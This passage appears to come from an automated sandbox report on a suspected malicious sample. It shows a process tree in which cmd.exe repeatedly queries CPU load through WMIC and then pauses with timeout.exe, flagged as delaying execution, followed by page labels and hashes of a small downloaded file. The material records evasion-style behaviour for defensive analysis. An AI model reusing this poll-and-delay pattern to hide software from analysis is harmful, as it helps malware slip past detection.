PID:2464
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2996
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3792
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4480
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2432
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1720
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4828
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4948
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4132
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵PID:2328
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:5104
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:432
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:1580
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:4568
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:4456
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:4612
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:1460
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:3344
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:3744
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2500
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:2520
-
-
-
C:\Windows\system32\timeout.exetimeout /t 12⤵
- Delays execution with timeout.exe
PID:564
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic cpu get loadpercentage2⤵PID:2540
-
C:\Windows\System32\Wbem\WMIC.exewmic cpu get loadpercentage3⤵PID:1028
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82